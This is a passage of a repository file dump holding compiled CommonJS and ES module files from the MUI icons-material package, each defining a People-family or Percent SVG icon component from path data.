    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M16.67 13.13C18.04 14.06 19 15.32 19 17v3h4v-3c0-2.18-3.57-3.47-6.33-3.87\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8\",\n  r: \"4\",\n  fillRule: \"evenodd\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4c-.47 0-.91.1-1.33.24C14.5 5.27 15 6.58 15 8s-.5 2.73-1.33 3.76c.42.14.86.24 1.33.24m-6 1c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4\"\n}, \"2\")], 'PeopleAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M16.67 13.13C18.04 14.06 19 15.32 19 17v3h4v-3c0-2.18-3.57-3.47-6.33-3.87\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8\",\n  r: \"4\",\n  fillRule: \"evenodd\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4c-.47 0-.91.1-1.33.24C14.5 5.27 15 6.58 15 8s-.5 2.73-1.33 3.76c.42.14.86.24 1.33.24m-6 1c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4\"\n}, \"2\")], 'PeopleAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 15c-2.7 0-5.8 1.29-6 2.01V18h12v-1c-.2-.71-3.3-2-6-2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.67 13.13C18.04 14.06 19 15.32 19 17v3h4v-3c0-2.18-3.57-3.47-6.33-3.87M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4c-.47 0-.91.1-1.33.24C14.5 5.27 15 6.58 15 8s-.5 2.73-1.33 3.76c.42.14.86.24 1.33.24m-6 0c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 7c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6 5H3v-.99C3.2 16.29 6.3 15 9 15s5.8 1.29 6 2z\"\n}, \"2\")], 'PeopleAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 15c-2.7 0-5.8 1.29-6 2.01V18h12v-1c-.2-.71-3.3-2-6-2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.67 13.13C18.04 14.06 19 15.32 19 17v3h4v-3c0-2.18-3.57-3.47-6.33-3.87M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4c-.47 0-.91.1-1.33.24C14.5 5.27 15 6.58 15 8s-.5 2.73-1.33 3.76c.42.14.86.24 1.33.24m-6 0c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 7c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6 5H3v-.99C3.2 16.29 6.3 15 9 15s5.8 1.29 6 2z\"\n}, \"2\")], 'PeopleAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 13c-1.2 0-3.07.34-4.5 1-1.43-.67-3.3-1-4.5-1C5.33 13 1 14.08 1 16.25V19h22v-2.75c0-2.17-4.33-3.25-6.5-3.25m-4 4.5h-10v-1.25c0-.54 2.56-1.75 5-1.75s5 1.21 5 1.75zm9 0H14v-1.25c0-.46-.2-.86-.52-1.22.88-.3 1.96-.53 3.02-.53 2.44 0 5 1.21 5 1.75zM7.5 12c1.93 0 3.5-1.57 3.5-3.5S9.43 5 7.5 5 4 6.57 4 8.5 5.57 12 7.5 12m0-5.5c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 5.5c1.93 0 3.5-1.57 3.5-3.5S18.43 5 16.5 5 13 6.57 13 8.5s1.57 3.5 3.5 3.5m0-5.5c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\"\n}), 'PeopleOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 13c-1.2 0-3.07.34-4.5 1-1.43-.67-3.3-1-4.5-1C5.33 13 1 14.08 1 16.25V19h22v-2.75c0-2.17-4.33-3.25-6.5-3.25m-4 4.5h-10v-1.25c0-.54 2.56-1.75 5-1.75s5 1.21 5 1.75zm9 0H14v-1.25c0-.46-.2-.86-.52-1.22.88-.3 1.96-.53 3.02-.53 2.44 0 5 1.21 5 1.75zM7.5 12c1.93 0 3.5-1.57 3.5-3.5S9.43 5 7.5 5 4 6.57 4 8.5 5.57 12 7.5 12m0-5.5c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 5.5c1.93 0 3.5-1.57 3.5-3.5S18.43 5 16.5 5 13 6.57 13 8.5s1.57 3.5 3.5 3.5m0-5.5c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\"\n}), 'PeopleOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleOutlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 13.75c-2.34 0-7 1.17-7 3.5V19h14v-1.75c0-2.33-4.66-3.5-7-3.5M4.34 17c.84-.58 2.87-1.25 4.66-1.25s3.82.67 4.66 1.25zM9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m7.04 6.81c1.16.84 1.96 1.96 1.96 3.44V19h4v-1.75c0-2.02-3.5-3.17-5.96-3.44M15 12c1.93 0 3.5-1.57 3.5-3.5S16.93 5 15 5c-.54 0-1.04.13-1.5.35.63.89 1 1.98 1 3.15s-.37 2.26-1 3.15c.46.22.96.35 1.5.35\"\n}), 'PeopleOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleOutlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 13.75c-2.34 0-7 1.17-7 3.5V19h14v-1.75c0-2.33-4.66-3.5-7-3.5M4.34 17c.84-.58 2.87-1.25 4.66-1.25s3.82.67 4.66 1.25zM9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m7.04 6.81c1.16.84 1.96 1.96 1.96 3.44V19h4v-1.75c0-2.02-3.5-3.17-5.96-3.44M15 12c1.93 0 3.5-1.57 3.5-3.5S16.93 5 15 5c-.54 0-1.04.13-1.5.35.63.89 1 1.98 1 3.15s-.37 2.26-1 3.15c.46.22.96.35 1.5.35\"\n}), 'PeopleOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m0 6.75c-2.34 0-7 1.17-7 3.5V18c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-.75c0-2.33-4.66-3.5-7-3.5M4.34 17c.84-.58 2.87-1.25 4.66-1.25s3.82.67 4.66 1.25zm11.7-3.19c1.16.84 1.96 1.96 1.96 3.44V19h3c.55 0 1-.45 1-1v-.75c0-2.02-3.5-3.17-5.96-3.44M15 12c1.93 0 3.5-1.57 3.5-3.5S16.93 5 15 5c-.54 0-1.04.13-1.5.35.63.89 1 1.98 1 3.15s-.37 2.26-1 3.15c.46.22.96.35 1.5.35\"\n}), 'PeopleOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m0 6.75c-2.34 0-7 1.17-7 3.5V18c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-.75c0-2.33-4.66-3.5-7-3.5M4.34 17c.84-.58 2.87-1.25 4.66-1.25s3.82.67 4.66 1.25zm11.7-3.19c1.16.84 1.96 1.96 1.96 3.44V19h3c.55 0 1-.45 1-1v-.75c0-2.02-3.5-3.17-5.96-3.44M15 12c1.93 0 3.5-1.57 3.5-3.5S16.93 5 15 5c-.54 0-1.04.13-1.5.35.63.89 1 1.98 1 3.15s-.37 2.26-1 3.15c.46.22.96.35 1.5.35\"\n}), 'PeopleOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m0 6.75c-2.34 0-7 1.17-7 3.5V19h14v-1.75c0-2.33-4.66-3.5-7-3.5M4.34 17c.84-.58 2.87-1.25 4.66-1.25s3.82.67 4.66 1.25zm11.7-3.19c1.16.84 1.96 1.96 1.96 3.44V19h4v-1.75c0-2.02-3.5-3.17-5.96-3.44M15 12c1.93 0 3.5-1.57 3.5-3.5S16.93 5 15 5c-.54 0-1.04.13-1.5.35.63.89 1 1.98 1 3.15s-.37 2.26-1 3.15c.46.22.96.35 1.5.35\"\n}), 'PeopleOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleOutlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m0 6.75c-2.34 0-7 1.17-7 3.5V19h14v-1.75c0-2.33-4.66-3.5-7-3.5M4.34 17c.84-.58 2.87-1.25 4.66-1.25s3.82.67 4.66 1.25zm11.7-3.19c1.16.84 1.96 1.96 1.96 3.44V19h4v-1.75c0-2.02-3.5-3.17-5.96-3.44M15 12c1.93 0 3.5-1.57 3.5-3.5S16.93 5 15 5c-.54 0-1.04.13-1.5.35.63.89 1 1.98 1 3.15s-.37 2.26-1 3.15c.46.22.96.35 1.5.35\"\n}), 'PeopleOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleOutlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.34 17h9.32c-.84-.58-2.87-1.25-4.66-1.25s-3.82.67-4.66 1.25\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m0 6.75c-2.34 0-7 1.17-7 3.5V19h14v-1.75c0-2.33-4.66-3.5-7-3.5M4.34 17c.84-.58 2.87-1.25 4.66-1.25s3.82.67 4.66 1.25zm11.7-3.19c1.16.84 1.96 1.96 1.96 3.44V19h4v-1.75c0-2.02-3.5-3.17-5.96-3.44M15 12c1.93 0 3.5-1.57 3.5-3.5S16.93 5 15 5c-.54 0-1.04.13-1.5.35.63.89 1 1.98 1 3.15s-.37 2.26-1 3.15c.46.22.96.35 1.5.35\"\n}, \"2\")], 'PeopleOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleOutlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.34 17h9.32c-.84-.58-2.87-1.25-4.66-1.25s-3.82.67-4.66 1.25\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m0 6.75c-2.34 0-7 1.17-7 3.5V19h14v-1.75c0-2.33-4.66-3.5-7-3.5M4.34 17c.84-.58 2.87-1.25 4.66-1.25s3.82.67 4.66 1.25zm11.7-3.19c1.16.84 1.96 1.96 1.96 3.44V19h4v-1.75c0-2.02-3.5-3.17-5.96-3.44M15 12c1.93 0 3.5-1.57 3.5-3.5S16.93 5 15 5c-.54 0-1.04.13-1.5.35.63.89 1 1.98 1 3.15s-.37 2.26-1 3.15c.46.22.96.35 1.5.35\"\n}, \"2\")], 'PeopleOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 13.75c-2.34 0-7 1.17-7 3.5V19h14v-1.75c0-2.33-4.66-3.5-7-3.5M4.34 17c.84-.58 2.87-1.25 4.66-1.25s3.82.67 4.66 1.25zM9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m7.04 6.81c1.16.84 1.96 1.96 1.96 3.44V19h4v-1.75c0-2.02-3.5-3.17-5.96-3.44M15 12c1.93 0 3.5-1.57 3.5-3.5S16.93 5 15 5c-.54 0-1.04.13-1.5.35.63.89 1 1.98 1 3.15s-.37 2.26-1 3.15c.46.22.96.35 1.5.35\"\n}), 'PeopleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 13.75c-2.34 0-7 1.17-7 3.5V19h14v-1.75c0-2.33-4.66-3.5-7-3.5M4.34 17c.84-.58 2.87-1.25 4.66-1.25s3.82.67 4.66 1.25zM9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m7.04 6.81c1.16.84 1.96 1.96 1.96 3.44V19h4v-1.75c0-2.02-3.5-3.17-5.96-3.44M15 12c1.93 0 3.5-1.57 3.5-3.5S16.93 5 15 5c-.54 0-1.04.13-1.5.35.63.89 1 1.98 1 3.15s-.37 2.26-1 3.15c.46.22.96.35 1.5.35\"\n}), 'PeopleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11c1.66 0 2.99-1.34 2.99-3S17.66 5 16 5s-3 1.34-3 3 1.34 3 3 3m-8 0c1.66 0 2.99-1.34 2.99-3S9.66 5 8 5 5 6.34 5 8s1.34 3 3 3m0 2c-2.33 0-7 1.17-7 3.5V18c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-1.5c0-2.33-4.67-3.5-7-3.5m8 0c-.29 0-.62.02-.97.05.02.01.03.03.04.04 1.14.83 1.93 1.94 1.93 3.41V18c0 .35-.07.69-.18 1H22c.55 0 1-.45 1-1v-1.5c0-2.33-4.67-3.5-7-3.5\"\n}), 'PeopleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11c1.66 0 2.99-1.34 2.99-3S17.66 5 16 5s-3 1.34-3 3 1.34 3 3 3m-8 0c1.66 0 2.99-1.34 2.99-3S9.66 5 8 5 5 6.34 5 8s1.34 3 3 3m0 2c-2.33 0-7 1.17-7 3.5V18c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-1.5c0-2.33-4.67-3.5-7-3.5m8 0c-.29 0-.62.02-.97.05.02.01.03.03.04.04 1.14.83 1.93 1.94 1.93 3.41V18c0 .35-.07.69-.18 1H22c.55 0 1-.45 1-1v-1.5c0-2.33-4.67-3.5-7-3.5\"\n}), 'PeopleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11c1.66 0 2.99-1.34 2.99-3S17.66 5 16 5s-3 1.34-3 3 1.34 3 3 3m-8 0c1.66 0 2.99-1.34 2.99-3S9.66 5 8 5 5 6.34 5 8s1.34 3 3 3m0 2c-2.33 0-7 1.17-7 3.5V19h14v-2.5c0-2.33-4.67-3.5-7-3.5m8 0c-.29 0-.62.02-.97.05 1.16.84 1.97 1.97 1.97 3.45V19h6v-2.5c0-2.33-4.67-3.5-7-3.5\"\n}), 'PeopleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11c1.66 0 2.99-1.34 2.99-3S17.66 5 16 5s-3 1.34-3 3 1.34 3 3 3m-8 0c1.66 0 2.99-1.34 2.99-3S9.66 5 8 5 5 6.34 5 8s1.34 3 3 3m0 2c-2.33 0-7 1.17-7 3.5V19h14v-2.5c0-2.33-4.67-3.5-7-3.5m8 0c-.29 0-.62.02-.97.05 1.16.84 1.97 1.97 1.97 3.45V19h6v-2.5c0-2.33-4.67-3.5-7-3.5\"\n}), 'PeopleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.34 17h9.32c-.84-.58-2.87-1.25-4.66-1.25s-3.82.67-4.66 1.25\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m0 6.75c-2.34 0-7 1.17-7 3.5V19h14v-1.75c0-2.33-4.66-3.5-7-3.5M4.34 17c.84-.58 2.87-1.25 4.66-1.25s3.82.67 4.66 1.25zm11.7-3.19c1.16.84 1.96 1.96 1.96 3.44V19h4v-1.75c0-2.02-3.5-3.17-5.96-3.44M15 12c1.93 0 3.5-1.57 3.5-3.5S16.93 5 15 5c-.54 0-1.04.13-1.5.35.63.89 1 1.98 1 3.15s-.37 2.26-1 3.15c.46.22.96.35 1.5.35\"\n}, \"2\")], 'PeopleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PeopleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.34 17h9.32c-.84-.58-2.87-1.25-4.66-1.25s-3.82.67-4.66 1.25\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12c1.93 0 3.5-1.57 3.5-3.5S10.93 5 9 5 5.5 6.57 5.5 8.5 7.07 12 9 12m0-5c.83 0 1.5.67 1.5 1.5S9.83 10 9 10s-1.5-.67-1.5-1.5S8.17 7 9 7m0 6.75c-2.34 0-7 1.17-7 3.5V19h14v-1.75c0-2.33-4.66-3.5-7-3.5M4.34 17c.84-.58 2.87-1.25 4.66-1.25s3.82.67 4.66 1.25zm11.7-3.19c1.16.84 1.96 1.96 1.96 3.44V19h4v-1.75c0-2.02-3.5-3.17-5.96-3.44M15 12c1.93 0 3.5-1.57 3.5-3.5S16.93 5 15 5c-.54 0-1.04.13-1.5.35.63.89 1 1.98 1 3.15s-.37 2.26-1 3.15c.46.22.96.35 1.5.35\"\n}, \"2\")], 'PeopleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Percent.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 11C9.43 11 11 9.43 11 7.5S9.43 4 7.5 4 4 5.57 4 7.5 5.57 11 7.5 11m0-5C8.33 6 9 6.67 9 7.5S8.33 9 7.5 9 6 8.33 6 7.5 6.67 6 7.5 6M4.0026 18.5832 18.5902 3.9956l1.4142 1.4142L5.4168 19.9974zM16.5 13c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'Percent');"
  },
  {
    "path": "packages/mui-icons-material/lib/Percent.mjs",
